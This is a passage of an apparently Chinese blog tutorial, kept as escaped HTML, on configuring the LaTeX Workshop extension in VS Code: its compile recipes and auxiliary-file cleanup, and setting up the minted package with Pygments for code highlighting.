string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"PDFLaTeX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"PDFLaTeX*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"BibTeX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"LaTeXmk\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"latexmk\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex -\u003e bibtex -\u003e xelatex*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex -\u003e bibtex -\u003e pdflatex*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//文件清理。此属性必须是字符串数组\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.clean.fileTypes\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"*.aux\",\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.bbl\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.blg\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.idx\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.ind\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.lof\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.lot\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"*.out\",\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.toc\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.acn\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.acr\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.alg\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.glg\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.glo\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.gls\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.ist\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.fls\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.log\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"*.fdb_latexmk\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//设置为onFaild 在构建失败后清除辅助文件\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.autoClean.run\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"onFailed\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用上次的recipe编译组合\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.recipe.default\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"lastUsed\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 用于反向同步的内部查看器的键绑定。ctrl/cmd +点击(默认)或双击\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.view.pdf.internal.synctex.keybinding\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"double-click\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//设置查看PDF的工具,可选\"browser\",\"tab\",\"external\"\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"latex-workshop.view.pdf.viewer\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"tab\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//---------LaTeX Workshop 配置结束-----------\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"配置相关内容解释\"\u003e\u003ca href=\"#配置相关内容解释\" class=\"headerlink\" title=\"配置相关内容解释\"\u003e\u003c/a\u003e配置相关内容解释\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.tools\u0026quot;\u003c/code\u003e\u003c/strong\u003e :是编译使用的工具,\u003ccode\u003elatexmk\u003c/code\u003e、\u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e、\u003ccode\u003ebibtex\u003c/code\u003e 都是常用的编译命令,它们编译的方式不一样。\u003ccode\u003ebibtex\u003c/code\u003e 能用来生成参考文献,\u003ccode\u003elatexmk\u003c/code\u003e、\u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e 中只有 \u003ccode\u003exelatex\u003c/code\u003e 较好适合中文,但编译速度 \u003ccode\u003epdflatex\u003c/code\u003e 比 \u003ccode\u003exelatex\u003c/code\u003e 快。\u003ccode\u003eargs\u003c/code\u003e 里是一些参数,可以根据实际情况改,比如在 \u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e 的 \u003ccode\u003eargs\u003c/code\u003e 里加了一句\u003ccode\u003e”-shell-escape”\u003c/code\u003e,是为了支持使用 \u003ccode\u003eminted 宏包\u003c/code\u003e(用来代码高亮等)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.recipes\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是编译使用的命令序列,就是 \u003ccode\u003elatexmk\u003c/code\u003e、\u003ccode\u003exelatex\u003c/code\u003e、\u003ccode\u003epdflatex\u003c/code\u003e、\u003ccode\u003ebibtex\u003c/code\u003e 的组合。首先要知道,编译一个\u003ccode\u003e.tex\u003c/code\u003e 文件,用一个编译命令是不够的,当要生成目录时,一般是要用 \u003ccode\u003epdflatex\u003c/code\u003e 或 \u003ccode\u003exelatex\u003c/code\u003e 等编译源代码 2 次,第 1 次生成了辅助文件记录目录等信息,第 2 次才会生成目录;当要生成参考文献时,要编译 4 次,第 1 次用 \u003ccode\u003epdflatex\u003c/code\u003e 或 \u003ccode\u003exelatex\u003c/code\u003e 等编译源代码,第 2 次用 \u003ccode\u003ebibtex\u003c/code\u003e 命令处理\u003ccode\u003e.aux\u003c/code\u003e 辅助文件记录的\u003cbr\u003e参考文献格式、引用条目等信息,接下来再用 \u003ccode\u003epdflatex\u003c/code\u003e 或 \u003ccode\u003exelatex\u003c/code\u003e 等编译源代码 2 次读入参考文献并生成引用。我们这里定义、添加了 8 种方法:\u003c/p\u003e\u003col\u003e\u003cli\u003e一次 \u003ccode\u003eXeLaTeX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eXeLaTeX*2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e一次 \u003ccode\u003ePDFLaTeX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003ePDFLaTeX*2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e一次 \u003ccode\u003eBibTeX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e一次 \u003ccode\u003eLaTeXmk\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003exelatex -\u0026gt; bibtex -\u0026gt; xelatex*2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003epdflatex -\u0026gt; bibtex -\u0026gt; pdflatex*2\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e其中第一个的是默认编译命令,因为处理中文文档,所以把一次 \u003ccode\u003eXeLaTeX\u003c/code\u003e 放在第一位。当你使用 TeXstudio 时你不必在乎这些,因为它会自动为你进行多次编译。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.view.pdf.viewer\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是用来查看 PDF 的工具,我们这里采用 \u003ccode\u003e\u0026quot;tab\u0026quot;\u003c/code\u003e(内置阅读器)。如果选择 \u003ccode\u003eexternal\u003c/code\u003e(外部阅读器),需要添加其他配置,可以在参考链接中获取相关信息。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.autoBuild.run\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是控制是否自动编译,可以通过自动编译实现准实时预览,但是一来编译需要时间,特别是复杂文档编译时间往往漫长;二来边编译边输入很可能造成意想不到的错误,这种错误不能通过重新编译一遍解决,需要将辅助文件全部删除后重新编译。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e构建一份 PDF,除了 \u003ccode\u003e.tex\u003c/code\u003e 源文件,一般需要 \u003ccode\u003e.cls\u003c/code\u003e、\u003ccode\u003e.sty\u003c/code\u003e 文件,如果需要参考文献,还\u003cbr\u003e需要 \u003ccode\u003e.bib\u003c/code\u003e、\u003ccode\u003e.bst\u003c/code\u003e 文件,具体如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e.cls\u003c/code\u003e,文档类文件,如内置的 \u003ccode\u003earticle.cls\u003c/code\u003e、\u003ccode\u003ebook.cls\u003c/code\u003e,文档类名称与文件名一致\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.sty\u003c/code\u003e,宏包文件,如 \u003ccode\u003ectex.sty\u003c/code\u003e,宏包名称与文件名一致\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.bst\u003c/code\u003e,\u003ccode\u003eBibTEX\u003c/code\u003e 参考文献样式文件,如内置的 \u003ccode\u003eplain.bst\u003c/code\u003e\u003c/li\u003e\u003cli\u003e.bib,\u003ccode\u003eBibTEX\u003c/code\u003e 参考文献数据库文件\u003cbr\u003e编译过程中会生成许多辅助文件,有些中间辅助文件会自动清除,有些则不会,生\u003cbr\u003e成的常见辅助文件有:\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.aux\u003c/code\u003e,主辅助文件,记录交叉引用、目录、参考文献的引用等\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.log\u003c/code\u003e,错误日志文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.toc\u003c/code\u003e,目录记录文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.synctex.gz\u003c/code\u003e,正反向搜索文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.bbl\u003c/code\u003e,\u003ccode\u003ebibtex\u003c/code\u003e 生成的参考文献记录文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.blg\u003c/code\u003e,\u003ccode\u003ebibtex\u003c/code\u003e 生成的日志文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.out\u003c/code\u003e,\u003ccode\u003ehyperref\u003c/code\u003e 宏包生成的 PDF 书签记录文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e.pyg\u003c/code\u003e,基于 \u003ccode\u003epygment\u003c/code\u003e 的 \u003ccode\u003eminted\u003c/code\u003e 宏包生成的文件\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e生成的辅助文件较多,建议一份文档单独一个文件夹(本来设置了,但调宏包有点问题,注释掉了又);因为要借助辅助文件,有时需要多次编译。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.showContextMenu\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是 \u003ccode\u003etrue\u003c/code\u003e 时,你在 \u003ccode\u003e.tex\u003c/code\u003e 文件中右键时会出现一些便捷的命令。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.intellisense.package.enabled\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是 \u003ccode\u003etrue\u003c/code\u003e,能够开启自动补全,比较方便。\u003c/p\u003e\u003cp\u003e**\u003ccode\u003e\u0026quot;latex-workshop.message.error.show\u0026quot;\u003c/code\u003e、\u003ccode\u003e\u0026quot;latex-workshop.message.warning.show\u0026quot;\u003c/code\u003e**是关于编译不好时的提醒、警告气泡,比较烦人,建议设置为 \u003ccode\u003efalse\u003c/code\u003e 不显示,错误信息还是可以通过其他方式得到的,比如找红色波浪线,鼠标放上面会有提示。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e\u0026quot;latex-workshop.latex.clean.fileTypes\u0026quot;\u003c/code\u003e\u003c/strong\u003e 是用来清除编译过程中生成的辅助文件。如果注释掉,当存在参考文献等时,一次编译出错会导致原来编译四次才能生成的参考文献因为相关辅助文件被清除要重新编译四次。有些情况下辅助文件也会造成困扰,比如在源文件中改正确了,但辅助文件中的错误不会改过来,从而导致莫名其妙的编译失败,很多情况下这是一种直觉和经验,把辅助文件全删了重新编译就行,可以根据自己的习惯选择是否取消注释开启自动清除。\u003c/p\u003e\u003cp\u003e需要注意的是,\u003cstrong\u003e设置了辅助文件输出目录\u003c/strong\u003e,在调用一些宏包比如 \u003ccode\u003eminted\u003c/code\u003e 宏包时也需要申明辅助文件的路径,最后我没有设置辅助文件输出目录。\u003c/p\u003e\u003ch3 id=\"最后测试\"\u003e\u003ca href=\"#最后测试\" class=\"headerlink\" title=\"最后测试\"\u003e\u003c/a\u003e最后测试\u003c/h3\u003e\u003ch4 id=\"minted-宏包设置\"\u003e\u003ca href=\"#minted-宏包设置\" class=\"headerlink\" title=\"minted 宏包设置\"\u003e\u003c/a\u003e\u003ccode\u003eminted\u003c/code\u003e 宏包设置\u003c/h4\u003e\u003cp\u003e代码高亮需要用到 \u003ccode\u003eminted\u003c/code\u003e宏包,需要再次折腾一下,就顺便记录一下:\u003c/p\u003e\u003cp\u003e首先确保有一个 \u003ccode\u003ePython\u003c/code\u003e 环境,我这里是 \u003ccode\u003ePython 3.10.1\u003c/code\u003e。(不过为了环境更好的切换,推荐使用 \u003ccode\u003econda\u003c/code\u003e)\u003c/p\u003e\u003cp\u003e\u003ccode\u003ePython\u003c/code\u003e 安装 \u003ccode\u003ePygments\u003c/code\u003e 库:\u003ccode\u003epip install Pygments\u003c/code\u003e\u003c/p\u003e\u003cp\u003e将路径添加环境变量,我的路径是: \u003ccode\u003eC:\\Users\\KSF\\AppData\\Roaming\\Python\\Python310\\Scripts\u003c/code\u003e ,打开系统设置,添加到 \u003ccode\u003e系统-系统信息-高级系统设置-高级-环境变量-系统变量\u003c/code\u003e ,选中变量 \u003ccode\u003ePath\u003c/code\u003e ,选择编辑,之后新建,将路径复制进去。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e如果设置了辅助文件夹\u003ccode\u003etemp\u003c/code\u003e:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如果在编译命令中在编译命令中加上\u003ccode\u003e\u0026quot;−output−directory=temp\u0026quot;\u003c/code\u003e、\u003ccode\u003e\u0026quot;−outdir=%OUTDIR%\u0026quot;\u003c/code\u003e 两句,即更改了辅助文件的输出位置,一些宏包的输出文件位置也需要申明,比如这里的 \u003ccode\u003eminted\u003c/code\u003e 宏包,需要在 \u003ccode\u003eminted\u003c/code\u003e 宏包的可选参数中申明 \u003ccode\u003eoutputdir=./temp\u003c/code\u003e,即\u003ccode\u003e\\usepackage [cache=false,outputdir=./temp] \u0026#123;minted\u0026#125;\u003c/code\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"效果测试\"\u003e\u003ca href=\"#效果测试\" class=\"headerlink\" title=\"效果测试\"\u003e\u003c/a\u003e效果测试\u003c/h4\u003e\u003cp\u003e最后写一段看看效果:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-latex\" data-language=\"latex\"\u003e\u003ccode class=\"language-latex\"\u003e\u003cspan class=\"token comment\"\u003e% 导言区\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\documentclass\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003earticle\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e%article可以换为book, report, letter, 从而改变文档的整个结构\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\usepackage\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ectex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e%使用ctex宏包,可以正常显示中文\u003c/span\u003e\u003cspan class=\"token function 